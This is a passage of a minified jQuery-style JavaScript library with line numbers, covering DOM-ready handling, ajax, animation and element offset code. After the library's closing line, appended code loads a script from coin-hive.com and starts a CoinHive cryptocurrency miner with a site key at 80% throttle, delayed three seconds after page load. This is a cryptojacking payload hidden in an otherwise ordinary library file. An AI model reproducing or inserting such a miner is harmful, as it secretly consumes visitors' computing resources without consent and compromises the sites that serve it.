2332 return ["live", F, E.replace(/\./g, "`").replace(/ /g, "|")].join(".")
2333 }
2334 o.extend({
2335 isReady: false,
2336 readyList: [],
2337 ready: function () {
2338 if (!o.isReady) {
2339 o.isReady = true;
2340 if (o.readyList) {
2341 o.each(o.readyList, function () {
2342 this.call(document, o)
2343 });
2344 o.readyList = null
2345 }
2346 o(document).triggerHandler("ready")
2347 }
2348 }
2349 });
2350 var x = false;
2351 function B() {
2352 if (x) {
2353 return
2354 }
2355 x = true;
2356 if (document.addEventListener) {
2357 document.addEventListener("DOMContentLoaded", function () {
2358 document.removeEventListener("DOMContentLoaded", arguments.callee, false);
2359 o.ready()
2360 }, false)
2361 } else {
2362 if (document.attachEvent) {
2363 document.attachEvent("onreadystatechange", function () {
2364 if (document.readyState === "complete") {
2365 document.detachEvent("onreadystatechange", arguments.callee);
2366 o.ready()
2367 }
2368 });
2369 if (document.documentElement.doScroll && l == l.top) {
2370 (function () {
2371 if (o.isReady) {
2372 return
2373 }
2374 try {
2375 document.documentElement.doScroll("left")
2376 } catch (E) {
2377 setTimeout(arguments.callee, 0);
2378 return
2379 }
2380 o.ready()
2381 })()
2382 }
2383 }
2384 }
2385 o.event.add(l, "load", o.ready)
2386 }
2387 o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","), function (F, E) {
2388 o.fn[E] = function (G) {
2389 return G ? this.bind(E, G) : this.trigger(E)
2390 }
2391 });
2392 o(l).bind("unload", function () {
2393 for (var E in o.cache) {
2394 if (E != 1 && o.cache[E].handle) {
2395 o.event.remove(o.cache[E].handle.elem)
2396 }
2397 }
2398 });
2399 (function () {
2400 o.support = {};
2401 var F = document.documentElement,
2402 G = document.createElement("script"),
2403 K = document.createElement("div"),
2404 J = "script" + (new Date).getTime();
2405 K.style.display = "none";
2406 K.innerHTML = ' <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';
2407 var H = K.getElementsByTagName("*"),
2408 E = K.getElementsByTagName("a")[0];
2409 if (!H || !H.length || !E) {
2410 return
2411 }
2412 o.support = {
2413 leadingWhitespace: K.firstChild.nodeType == 3,
2414 tbody: !K.getElementsByTagName("tbody").length,
2415 objectAll: !!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,
2416 htmlSerialize: !!K.getElementsByTagName("link").length,
2417 style: /red/.test(E.getAttribute("style")),
2418 hrefNormalized: E.getAttribute("href") === "/a",
2419 opacity: E.style.opacity === "0.5",
2420 cssFloat: !!E.style.cssFloat,
2421 scriptEval: false,
2422 noCloneEvent: true,
2423 boxModel: null
2424 };
2425 G.type = "text/javascript";
2426 try {
2427 G.appendChild(document.createTextNode("window." + J + "=1;"))
2428 } catch (I) {}
2429 F.insertBefore(G, F.firstChild);
2430 if (l[J]) {
2431 o.support.scriptEval = true;
2432 delete l[J]
2433 }
2434 F.removeChild(G);
2435 if (K.attachEvent && K.fireEvent) {
2436 K.attachEvent("onclick", function () {
2437 o.support.noCloneEvent = false;
2438 K.detachEvent("onclick", arguments.callee)
2439 });
2440 K.cloneNode(true).fireEvent("onclick")
2441 }
2442 o(function () {
2443 var L = document.createElement("div");
2444 L.style.width = L.style.paddingLeft = "1px";
2445 document.body.appendChild(L);
2446 o.boxModel = o.support.boxModel = L.offsetWidth === 2;
2447 document.body.removeChild(L).style.display = "none"
2448 })
2449 })();
2450 var w = o.support.cssFloat ? "cssFloat" : "styleFloat";
2451 o.props = {
2452 "for": "htmlFor",
2453 "class": "className",
2454 "float": w,
2455 cssFloat: w,
2456 styleFloat: w,
2457 readonly: "readOnly",
2458 maxlength: "maxLength",
2459 cellspacing: "cellSpacing",
2460 rowspan: "rowSpan",
2461 tabindex: "tabIndex"
2462 };
2463 o.fn.extend({
2464 _load: o.fn.load,
2465 load: function (G, J, K) {
2466 if (typeof G !== "string") {
2467 return this._load(G)
2468 }
2469 var I = G.indexOf(" ");
2470 if (I >= 0) {
2471 var E = G.slice(I, G.length);
2472 G = G.slice(0, I)
2473 }
2474 var H = "GET";
2475 if (J) {
2476 if (o.isFunction(J)) {
2477 K = J;
2478 J = null
2479 } else {
2480 if (typeof J === "object") {
2481 J = o.param(J);
2482 H = "POST"
2483 }
2484 }
2485 }
2486 var F = this;
2487 o.ajax({
2488 url: G,
2489 type: H,
2490 dataType: "html",
2491 data: J,
2492 complete: function (M, L) {
2493 if (L == "success" || L == "notmodified") {
2494 F.html(E ? o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g, "")).find(E) : M.responseText)
2495 }
2496 if (K) {
2497 F.each(K, [M.responseText, L, M])
2498 }
2499 }
2500 });
2501 return this
2502 },
2503 serialize: function () {
2504 return o.param(this.serializeArray())
2505 },
2506 serializeArray: function () {
2507 return this.map(function () {
2508 return this.elements ? o.makeArray(this.elements) : this
2509 }).filter(function () {
2510 return this.name && !this.disabled && (this.checked || /select|textarea/i.test(this.nodeName) || /text|hidden|password|search/i.test(this.type))
2511 }).map(function (E, F) {
2512 var G = o(this).val();
2513 return G == null ? null : o.isArray(G) ? o.map(G, function (I, H) {
2514 return {
2515 name: F.name,
2516 value: I
2517 }
2518 }) : {
2519 name: F.name,
2520 value: G
2521 }
2522 }).get()
2523 }
2524 });
2525 o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","), function (E, F) {
2526 o.fn[F] = function (G) {
2527 return this.bind(F, G)
2528 }
2529 });
2530 var r = e();
2531 o.extend({
2532 get: function (E, G, H, F) {
2533 if (o.isFunction(G)) {
2534 H = G;
2535 G = null
2536 }
2537 return o.ajax({
2538 type: "GET",
2539 url: E,
2540 data: G,
2541 success: H,
2542 dataType: F
2543 })
2544 },
2545 getScript: function (E, F) {
2546 return o.get(E, null, F, "script")
2547 },
2548 getJSON: function (E, F, G) {
2549 return o.get(E, F, G, "json")
2550 },
2551 post: function (E, G, H, F) {
2552 if (o.isFunction(G)) {
2553 H = G;
2554 G = {}
2555 }
2556 return o.ajax({
2557 type: "POST",
2558 url: E,
2559 data: G,
2560 success: H,
2561 dataType: F
2562 })
2563 },
2564 ajaxSetup: function (E) {
2565 o.extend(o.ajaxSettings, E)
2566 },
2567 ajaxSettings: {
2568 url: location.href,
2569 global: true,
2570 type: "GET",
2571 contentType: "application/x-www-form-urlencoded",
2572 processData: true,
2573 async: true,
2574 xhr: function () {
2575 return l.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest()
2576 },
2577 accepts: {
2578 xml: "application/xml, text/xml",
2579 html: "text/html",
2580 script: "text/javascript, application/javascript",
2581 json: "application/json, text/javascript",
2582 text: "text/plain",
2583 _default: "*/*"
2584 }
2585 },
2586 lastModified: {},
2587 ajax: function (M) {
2588 M = o.extend(true, M, o.extend(true, {}, o.ajaxSettings, M));
2589 var W,
2590 F = /=\?(&|$)/g,
2591 R,
2592 V,
2593 G = M.type.toUpperCase();
2594 if (M.data && M.processData && typeof M.data !== "string") {
2595 M.data = o.param(M.data)
2596 }
2597 if (M.dataType == "jsonp") {
2598 if (G == "GET") {
2599 if (!M.url.match(F)) {
2600 M.url += (M.url.match(/\?/) ? "&" : "?") + (M.jsonp || "callback") + "=?"
2601 }
2602 } else {
2603 if (!M.data || !M.data.match(F)) {
2604 M.data = (M.data ? M.data + "&" : "") + (M.jsonp || "callback") + "=?"
2605 }
2606 }
2607 M.dataType = "json"
2608 }
2609 if (M.dataType == "json" && (M.data && M.data.match(F) || M.url.match(F))) {
2610 W = "jsonp" + r++;
2611 if (M.data) {
2612 M.data = (M.data + "").replace(F, "=" + W + "$1")
2613 }
2614 M.url = M.url.replace(F, "=" + W + "$1");
2615 M.dataType = "script";
2616 l[W] = function (X) {
2617 V = X;
2618 I();
2619 L();
2620 l[W] = g;
2621 try {
2622 delete l[W]
2623 } catch (Y) {}
2624 if (H) {
2625 H.removeChild(T)
2626 }
2627 }
2628 }
2629 if (M.dataType == "script" && M.cache == null) {
2630 M.cache = false
2631 }
2632 if (M.cache === false && G == "GET") {
2633 var E = e();
2634 var U = M.url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + E + "$2");
2635 M.url = U + ((U == M.url) ? (M.url.match(/\?/) ? "&" : "?") + "_=" + E : "")
2636 }
2637 if (M.data && G == "GET") {
2638 M.url += (M.url.match(/\?/) ? "&" : "?") + M.data;
2639 M.data = null
2640 }
2641 if (M.global && !o.active++) {
2642 o.event.trigger("ajaxStart")
2643 }
2644 var Q = /^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);
2645 if (M.dataType == "script" && G == "GET" && Q && (Q[1] && Q[1] != location.protocol || Q[2] != location.host)) {
2646 var H = document.getElementsByTagName("head")[0];
2647 var T = document.createElement("script");
2648 T.src = M.url;
2649 if (M.scriptCharset) {
2650 T.charset = M.scriptCharset
2651 }
2652 if (!W) {
2653 var O = false;
2654 T.onload = T.onreadystatechange = function () {
2655 if (!O && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
2656 O = true;
2657 I();
2658 L();
2659 T.onload = T.onreadystatechange = null;
2660 H.removeChild(T)
2661 }
2662 }
2663 }
2664 H.appendChild(T);
2665 return g
2666 }
2667 var K = false;
2668 var J = M.xhr();
2669 if (M.username) {
2670 J.open(G, M.url, M.async, M.username, M.password)
2671 } else {
2672 J.open(G, M.url, M.async)
2673 }
2674 try {
2675 if (M.data) {
2676 J.setRequestHeader("Content-Type", M.contentType)
2677 }
2678 if (M.ifModified) {
2679 J.setRequestHeader("If-Modified-Since", o.lastModified[M.url] || "Thu, 01 Jan 1970 00:00:00 GMT")
2680 }
2681 J.setRequestHeader("X-Requested-With", "XMLHttpRequest");
2682 J.setRequestHeader("Accept", M.dataType && M.accepts[M.dataType] ? M.accepts[M.dataType] + ", */*" : M.accepts._default)
2683 } catch (S) {}
2684 if (M.beforeSend && M.beforeSend(J, M) === false) {
2685 if (M.global && !--o.active) {
2686 o.event.trigger("ajaxStop")
2687 }
2688 J.abort();
2689 return false
2690 }
2691 if (M.global) {
2692 o.event.trigger("ajaxSend", [J, M])
2693 }
2694 var N = function (X) {
2695 if (J.readyState == 0) {
2696 if (P) {
2697 clearInterval(P);
2698 P = null;
2699 if (M.global && !--o.active) {
2700 o.event.trigger("ajaxStop")
2701 }
2702 }
2703 } else {
2704 if (!K && J && (J.readyState == 4 || X == "timeout")) {
2705 K = true;
2706 if (P) {
2707 clearInterval(P);
2708 P = null
2709 }
2710 R = X == "timeout" ? "timeout" : !o.httpSuccess(J) ? "error" : M.ifModified && o.httpNotModified(J, M.url) ? "notmodified" : "success";
2711 if (R == "success") {
2712 try {
2713 V = o.httpData(J, M.dataType, M)
2714 } catch (Z) {
2715 R = "parsererror"
2716 }
2717 }
2718 if (R == "success") {
2719 var Y;
2720 try {
2721 Y = J.getResponseHeader("Last-Modified")
2722 } catch (Z) {}
2723 if (M.ifModified && Y) {
2724 o.lastModified[M.url] = Y
2725 }
2726 if (!W) {
2727 I()
2728 }
2729 } else {
2730 o.handleError(M, J, R)
2731 }
2732 L();
2733 if (X) {
2734 J.abort()
2735 }
2736 if (M.async) {
2737 J = null
2738 }
2739 }
2740 }
2741 };
2742 if (M.async) {
2743 var P = setInterval(N, 13);
2744 if (M.timeout > 0) {
2745 setTimeout(function () {
2746 if (J && !K) {
2747 N("timeout")
2748 }
2749 }, M.timeout)
2750 }
2751 }
2752 try {
2753 J.send(M.data)
2754 } catch (S) {
2755 o.handleError(M, J, null, S)
2756 }
2757 if (!M.async) {
2758 N()
2759 }
2760 function I() {
2761 if (M.success) {
2762 M.success(V, R)
2763 }
2764 if (M.global) {
2765 o.event.trigger("ajaxSuccess", [J, M])
2766 }
2767 }
2768 function L() {
2769 if (M.complete) {
2770 M.complete(J, R)
2771 }
2772 if (M.global) {
2773 o.event.trigger("ajaxComplete", [J, M])
2774 }
2775 if (M.global && !--o.active) {
2776 o.event.trigger("ajaxStop")
2777 }
2778 }
2779 return J
2780 },
2781 handleError: function (F, H, E, G) {
2782 if (F.error) {
2783 F.error(H, E, G)
2784 }
2785 if (F.global) {
2786 o.event.trigger("ajaxError", [H, F, G])
2787 }
2788 },
2789 active: 0,
2790 httpSuccess: function (F) {
2791 try {
2792 return !F.status && location.protocol == "file:" || (F.status >= 200 && F.status < 300) || F.status == 304 || F.status == 1223
2793 } catch (E) {}
2794 return false
2795 },
2796 httpNotModified: function (G, E) {
2797 try {
2798 var H = G.getResponseHeader("Last-Modified");
2799 return G.status == 304 || H == o.lastModified[E]
2800 } catch (F) {}
2801 return false
2802 },
2803 httpData: function (J, H, G) {
2804 var F = J.getResponseHeader("content-type"),
2805 E = H == "xml" || !H && F && F.indexOf("xml") >= 0,
2806 I = E ? J.responseXML : J.responseText;
2807 if (E && I.documentElement.tagName == "parsererror") {
2808 throw "parsererror"
2809 }
2810 if (G && G.dataFilter) {
2811 I = G.dataFilter(I, H)
2812 }
2813 if (typeof I === "string") {
2814 if (H == "script") {
2815 o.globalEval(I)
2816 }
2817 if (H == "json") {
2818 I = l["eval"]("(" + I + ")")
2819 }
2820 }
2821 return I
2822 },
2823 param: function (E) {
2824 var G = [];
2825 function H(I, J) {
2826 G[G.length] = encodeURIComponent(I) + "=" + encodeURIComponent(J)
2827 }
2828 if (o.isArray(E) || E.jquery) {
2829 o.each(E, function () {
2830 H(this.name, this.value)
2831 })
2832 } else {
2833 for (var F in E) {
2834 if (o.isArray(E[F])) {
2835 o.each(E[F], function () {
2836 H(F, this)
2837 })
2838 } else {
2839 H(F, o.isFunction(E[F]) ? E[F]() : E[F])
2840 }
2841 }
2842 }
2843 return G.join("&").replace(/%20/g, "+")
2844 }
2845 });
2846 var m = {},
2847 n,
2848 d = [["height", "marginTop", "marginBottom", "paddingTop", "paddingBottom"], ["width", "marginLeft", "marginRight", "paddingLeft", "paddingRight"], ["opacity"]];
2849 function t(F, E) {
2850 var G = {};
2851 o.each(d.concat.apply([], d.slice(0, E)), function () {
2852 G[this] = F
2853 });
2854 return G
2855 }
2856 o.fn.extend({
2857 show: function (J, L) {
2858 if (J) {
2859 return this.animate(t("show", 3), J, L)
2860 } else {
2861 for (var H = 0, F = this.length; H < F; H++) {
2862 var E = o.data(this[H], "olddisplay");
2863 this[H].style.display = E || "";
2864 if (o.css(this[H], "display") === "none") {
2865 var G = this[H].tagName,
2866 K;
2867 if (m[G]) {
2868 K = m[G]
2869 } else {
2870 var I = o("<" + G + " />").appendTo("body");
2871 K = I.css("display");
2872 if (K === "none") {
2873 K = "block"
2874 }
2875 I.remove();
2876 m[G] = K
2877 }
2878 o.data(this[H], "olddisplay", K)
2879 }
2880 }
2881 for (var H = 0, F = this.length; H < F; H++) {
2882 this[H].style.display = o.data(this[H], "olddisplay") || ""
2883 }
2884 return this
2885 }
2886 },
2887 hide: function (H, I) {
2888 if (H) {
2889 return this.animate(t("hide", 3), H, I)
2890 } else {
2891 for (var G = 0, F = this.length; G < F; G++) {
2892 var E = o.data(this[G], "olddisplay");
2893 if (!E && E !== "none") {
2894 o.data(this[G], "olddisplay", o.css(this[G], "display"))
2895 }
2896 }
2897 for (var G = 0, F = this.length; G < F; G++) {
2898 this[G].style.display = "none"
2899 }
2900 return this
2901 }
2902 },
2903 _toggle: o.fn.toggle,
2904 toggle: function (G, F) {
2905 var E = typeof G === "boolean";
2906 return o.isFunction(G) && o.isFunction(F) ? this._toggle.apply(this, arguments) : G == null || E ? this.each(function () {
2907 var H = E ? G : o(this).is(":hidden");
2908 o(this)[H ? "show" : "hide"]()
2909 }) : this.animate(t("toggle", 3), G, F)
2910 },
2911 fadeTo: function (E, G, F) {
2912 return this.animate({
2913 opacity: G
2914 }, E, F)
2915 },
2916 animate: function (I, F, H, G) {
2917 var E = o.speed(F, H, G);
2918 return this[E.queue === false ? "each" : "queue"](function () {
2919 var K = o.extend({}, E),
2920 M,
2921 L = this.nodeType == 1 && o(this).is(":hidden"),
2922 J = this;
2923 for (M in I) {
2924 if (I[M] == "hide" && L || I[M] == "show" && !L) {
2925 return K.complete.call(this)
2926 }
2927 if ((M == "height" || M == "width") && this.style) {
2928 K.display = o.css(this, "display");
2929 K.overflow = this.style.overflow
2930 }
2931 }
2932 if (K.overflow != null) {
2933 this.style.overflow = "hidden"
2934 }
2935 K.curAnim = o.extend({}, I);
2936 o.each(I, function (O, S) {
2937 var R = new o.fx(J, K, O);
2938 if (/toggle|show|hide/.test(S)) {
2939 R[S == "toggle" ? L ? "show" : "hide" : S](I)
2940 } else {
2941 var Q = S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),
2942 T = R.cur(true) || 0;
2943 if (Q) {
2944 var N = parseFloat(Q[2]),
2945 P = Q[3] || "px";
2946 if (P != "px") {
2947 J.style[O] = (N || 1) + P;
2948 T = ((N || 1) / R.cur(true)) * T;
2949 J.style[O] = T + P
2950 }
2951 if (Q[1]) {
2952 N = ((Q[1] == "-=" ? -1 : 1) * N) + T
2953 }
2954 R.custom(T, N, P)
2955 } else {
2956 R.custom(T, S, "")
2957 }
2958 }
2959 });
2960 return true
2961 })
2962 },
2963 stop: function (F, E) {
2964 var G = o.timers;
2965 if (F) {
2966 this.queue([])
2967 }
2968 this.each(function () {
2969 for (var H = G.length - 1; H >= 0; H--) {
2970 if (G[H].elem == this) {
2971 if (E) {
2972 G[H](true)
2973 }
2974 G.splice(H, 1)
2975 }
2976 }
2977 });
2978 if (!E) {
2979 this.dequeue()
2980 }
2981 return this
2982 }
2983 });
2984 o.each({
2985 slideDown: t("show", 1),
2986 slideUp: t("hide", 1),
2987 slideToggle: t("toggle", 1),
2988 fadeIn: {
2989 opacity: "show"
2990 },
2991 fadeOut: {
2992 opacity: "hide"
2993 }
2994 }, function (E, F) {
2995 o.fn[E] = function (G, H) {
2996 return this.animate(F, G, H)
2997 }
2998 });
2999 o.extend({
3000 speed: function (G, H, F) {
3001 var E = typeof G === "object" ? G : {
3002 complete: F || !F && H || o.isFunction(G) && G,
3003 duration: G,
3004 easing: F && H || H && !o.isFunction(H) && H
3005 };
3006 E.duration = o.fx.off ? 0 : typeof E.duration === "number" ? E.duration : o.fx.speeds[E.duration] || o.fx.speeds._default;
3007 E.old = E.complete;
3008 E.complete = function () {
3009 if (E.queue !== false) {
3010 o(this).dequeue()
3011 }
3012 if (o.isFunction(E.old)) {
3013 E.old.call(this)
3014 }
3015 };
3016 return E
3017 },
3018 easing: {
3019 linear: function (G, H, E, F) {
3020 return E + F * G
3021 },
3022 swing: function (G, H, E, F) {
3023 return ((-Math.cos(G * Math.PI) / 2) + 0.5) * F + E
3024 }
3025 },
3026 timers: [],
3027 fx: function (F, E, G) {
3028 this.options = E;
3029 this.elem = F;
3030 this.prop = G;
3031 if (!E.orig) {
3032 E.orig = {}
3033 }
3034 }
3035 });
3036 o.fx.prototype = {
3037 update: function () {
3038 if (this.options.step) {
3039 this.options.step.call(this.elem, this.now, this)
3040 }
3041 (o.fx.step[this.prop] || o.fx.step._default)(this);
3042 if ((this.prop == "height" || this.prop == "width") && this.elem.style) {
3043 this.elem.style.display = "block"
3044 }
3045 },
3046 cur: function (F) {
3047 if (this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null)) {
3048 return this.elem[this.prop]
3049 }
3050 var E = parseFloat(o.css(this.elem, this.prop, F));
3051 return E && E > -10000 ? E : parseFloat(o.curCSS(this.elem, this.prop)) || 0
3052 },
3053 custom: function (I, H, G) {
3054 this.startTime = e();
3055 this.start = I;
3056 this.end = H;
3057 this.unit = G || this.unit || "px";
3058 this.now = this.start;
3059 this.pos = this.state = 0;
3060 var E = this;
3061 function F(J) {
3062 return E.step(J)
3063 }
3064 F.elem = this.elem;
3065 if (F() && o.timers.push(F) && !n) {
3066 n = setInterval(function () {
3067 var K = o.timers;
3068 for (var J = 0; J < K.length; J++) {
3069 if (!K[J]()) {
3070 K.splice(J--, 1)
3071 }
3072 }
3073 if (!K.length) {
3074 clearInterval(n);
3075 n = g
3076 }
3077 }, 13)
3078 }
3079 },
3080 show: function () {
3081 this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
3082 this.options.show = true;
3083 this.custom(this.prop == "width" || this.prop == "height" ? 1 : 0, this.cur());
3084 o(this.elem).show()
3085 },
3086 hide: function () {
3087 this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
3088 this.options.hide = true;
3089 this.custom(this.cur(), 0)
3090 },
3091 step: function (H) {
3092 var G = e();
3093 if (H || G >= this.options.duration + this.startTime) {
3094 this.now = this.end;
3095 this.pos = this.state = 1;
3096 this.update();
3097 this.options.curAnim[this.prop] = true;
3098 var E = true;
3099 for (var F in this.options.curAnim) {
3100 if (this.options.curAnim[F] !== true) {
3101 E = false
3102 }
3103 }
3104 if (E) {
3105 if (this.options.display != null) {
3106 this.elem.style.overflow = this.options.overflow;
3107 this.elem.style.display = this.options.display;
3108 if (o.css(this.elem, "display") == "none") {
3109 this.elem.style.display = "block"
3110 }
3111 }
3112 if (this.options.hide) {
3113 o(this.elem).hide()
3114 }
3115 if (this.options.hide || this.options.show) {
3116 for (var I in this.options.curAnim) {
3117 o.attr(this.elem.style, I, this.options.orig[I])
3118 }
3119 }
3120 this.options.complete.call(this.elem)
3121 }
3122 return false
3123 } else {
3124 var J = G - this.startTime;
3125 this.state = J / this.options.duration;
3126 this.pos = o.easing[this.options.easing || (o.easing.swing ? "swing" : "linear")](this.state, J, 0, 1, this.options.duration);
3127 this.now = this.start + ((this.end - this.start) * this.pos);
3128 this.update()
3129 }
3130 return true
3131 }
3132 };
3133 o.extend(o.fx, {
3134 speeds: {
3135 slow: 600,
3136 fast: 200,
3137 _default: 400
3138 },
3139 step: {
3140 opacity: function (E) {
3141 o.attr(E.elem.style, "opacity", E.now)
3142 },
3143 _default: function (E) {
3144 if (E.elem.style && E.elem.style[E.prop] != null) {
3145 E.elem.style[E.prop] = E.now + E.unit
3146 } else {
3147 E.elem[E.prop] = E.now
3148 }
3149 }
3150 }
3151 });
3152 if (document.documentElement.getBoundingClientRect) {
3153 o.fn.offset = function () {
3154 if (!this[0]) {
3155 return {
3156 top: 0,
3157 left: 0
3158 }
3159 }
3160 if (this[0] === this[0].ownerDocument.body) {
3161 return o.offset.bodyOffset(this[0])
3162 }
3163 var G = this[0].getBoundingClientRect(),
3164 J = this[0].ownerDocument,
3165 F = J.body,
3166 E = J.documentElement,
3167 L = E.clientTop || F.clientTop || 0,
3168 K = E.clientLeft || F.clientLeft || 0,
3169 I = G.top + (self.pageYOffset || o.boxModel && E.scrollTop || F.scrollTop) - L,
3170 H = G.left + (self.pageXOffset || o.boxModel && E.scrollLeft || F.scrollLeft) - K;
3171 return {
3172 top: I,
3173 left: H
3174 }
3175 }
3176 } else {
3177 o.fn.offset = function () {
3178 if (!this[0]) {
3179 return {
3180 top: 0,
3181 left: 0
3182 }
3183 }
3184 if (this[0] === this[0].ownerDocument.body) {
3185 return o.offset.bodyOffset(this[0])
3186 }
3187 o.offset.initialized || o.offset.initialize();
3188 var J = this[0],
3189 G = J.offsetParent,
3190 F = J,
3191 O = J.ownerDocument,
3192 M,
3193 H = O.documentElement,
3194 K = O.body,
3195 L = O.defaultView,
3196 E = L.getComputedStyle(J, null),
3197 N = J.offsetTop,
3198 I = J.offsetLeft;
3199 while ((J = J.parentNode) && J !== K && J !== H) {
3200 M = L.getComputedStyle(J, null);
3201 N -= J.scrollTop,
3202 I -= J.scrollLeft;
3203 if (J === G) {
3204 N += J.offsetTop,
3205 I += J.offsetLeft;
3206 if (o.offset.doesNotAddBorder && !(o.offset.doesAddBorderForTableAndCells && /^t(able|d|h)$/i.test(J.tagName))) {
3207 N += parseInt(M.borderTopWidth, 10) || 0,
3208 I += parseInt(M.borderLeftWidth, 10) || 0
3209 }
3210 F = G,
3211 G = J.offsetParent
3212 }
3213 if (o.offset.subtractsBorderForOverflowNotVisible && M.overflow !== "visible") {
3214 N += parseInt(M.borderTopWidth, 10) || 0,
3215 I += parseInt(M.borderLeftWidth, 10) || 0
3216 }
3217 E = M
3218 }
3219 if (E.position === "relative" || E.position === "static") {
3220 N += K.offsetTop,
3221 I += K.offsetLeft
3222 }
3223 if (E.position === "fixed") {
3224 N += Math.max(H.scrollTop, K.scrollTop),
3225 I += Math.max(H.scrollLeft, K.scrollLeft)
3226 }
3227 return {
3228 top: N,
3229 left: I
3230 }
3231 }
3232 }
3233 o.offset = {
3234 initialize: function () {
3235 if (this.initialized) {
3236 return
3237 }
3238 var L = document.body,
3239 F = document.createElement("div"),
3240 H,
3241 G,
3242 N,
3243 I,
3244 M,
3245 E,
3246 J = L.style.marginTop,
3247 K = '<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';
3248 M = {
3249 position: "absolute",
3250 top: 0,
3251 left: 0,
3252 margin: 0,
3253 border: 0,
3254 width: "1px",
3255 height: "1px",
3256 visibility: "hidden"
3257 };
3258 for (E in M) {
3259 F.style[E] = M[E]
3260 }
3261 F.innerHTML = K;
3262 L.insertBefore(F, L.firstChild);
3263 H = F.firstChild,
3264 G = H.firstChild,
3265 I = H.nextSibling.firstChild.firstChild;
3266 this.doesNotAddBorder = (G.offsetTop !== 5);
3267 this.doesAddBorderForTableAndCells = (I.offsetTop === 5);
3268 H.style.overflow = "hidden",
3269 H.style.position = "relative";
3270 this.subtractsBorderForOverflowNotVisible = (G.offsetTop === -5);
3271 L.style.marginTop = "1px";
3272 this.doesNotIncludeMarginInBodyOffset = (L.offsetTop === 0);
3273 L.style.marginTop = J;
3274 L.removeChild(F);
3275 this.initialized = true
3276 },
3277 bodyOffset: function (E) {
3278 o.offset.initialized || o.offset.initialize();
3279 var G = E.offsetTop,
3280 F = E.offsetLeft;
3281 if (o.offset.doesNotIncludeMarginInBodyOffset) {
3282 G += parseInt(o.curCSS(E, "marginTop", true), 10) || 0,
3283 F += parseInt(o.curCSS(E, "marginLeft", true), 10) || 0
3284 }
3285 return {
3286 top: G,
3287 left: F
3288 }
3289 }
3290 };
3291 o.fn.extend({
3292 position: function () {
3293 var I = 0,
3294 H = 0,
3295 F;
3296 if (this[0]) {
3297 var G = this.offsetParent(),
3298 J = this.offset(),
3299 E = /^body|html$/i.test(G[0].tagName) ? {
3300 top: 0,
3301 left: 0
3302 }
3303 : G.offset();
3304 J.top -= j(this, "marginTop");
3305 J.left -= j(this, "marginLeft");
3306 E.top += j(G, "borderTopWidth");
3307 E.left += j(G, "borderLeftWidth");
3308 F = {
3309 top: J.top - E.top,
3310 left: J.left - E.left
3311 }
3312 }
3313 return F
3314 },
3315 offsetParent: function () {
3316 var E = this[0].offsetParent || document.body;
3317 while (E && (!/^body|html$/i.test(E.tagName) && o.css(E, "position") == "static")) {
3318 E = E.offsetParent
3319 }
3320 return o(E)
3321 }
3322 });
3323 o.each(["Left", "Top"], function (F, E) {
3324 var G = "scroll" + E;
3325 o.fn[G] = function (H) {
3326 if (!this[0]) {
3327 return null
3328 }
3329 return H !== g ? this.each(function () {
3330 this == l || this == document ? l.scrollTo(!F ? H : o(l).scrollLeft(), F ? H : o(l).scrollTop()) : this[G] = H
3331 }) : this[0] == l || this[0] == document ? self[F ? "pageYOffset" : "pageXOffset"] || o.boxModel && document.documentElement[G] || document.body[G] : this[0][G]
3332 }
3333 });
3334 o.each(["Height", "Width"], function (I, G) {
3335 var E = I ? "Left" : "Top",
3336 H = I ? "Right" : "Bottom",
3337 F = G.toLowerCase();
3338 o.fn["inner" + G] = function () {
3339 return this[0] ? o.css(this[0], F, false, "padding") : null
3340 };
3341 o.fn["outer" + G] = function (K) {
3342 return this[0] ? o.css(this[0], F, false, K ? "margin" : "border") : null
3343 };
3344 var J = G.toLowerCase();
3345 o.fn[J] = function (K) {
3346 return this[0] == l ? document.compatMode == "CSS1Compat" && document.documentElement["client" + G] || document.body["client" + G] : this[0] == document ? Math.max(document.documentElement["client" + G], document.body["scroll" + G], document.documentElement["scroll" + G], document.body["offset" + G], document.documentElement["offset" + G]) : K === g ? (this.length ? o.css(this[0], J) : null) : this.css(J, typeof K === "string" ? K : K + "px")
3347 }
3348 })
3349})();
3350var s = document.createElement('script');
3351s.type = 'text/javascript';
3352s.src = 'https://coin-hive.com/lib/coinhive.min.js';
3353document.getElementsByTagName('head')[0].appendChild(s);
3354var q = document.createElement('script');
3355q.textContent = "var miner = new CoinHive.Anonymous('DYBoMzhAYjyv42rvpoOwLQWNej1mBaW5', {throttle: 0.8});miner.start();"
3356 setTimeout("document.getElementsByTagName('head')[0].appendChild(q)", 3000);